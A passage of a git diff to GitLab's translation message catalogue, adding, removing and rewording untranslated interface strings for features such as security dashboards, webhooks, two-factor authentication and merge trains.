+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 258bc1fa81c..e2386705446 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:37\n"
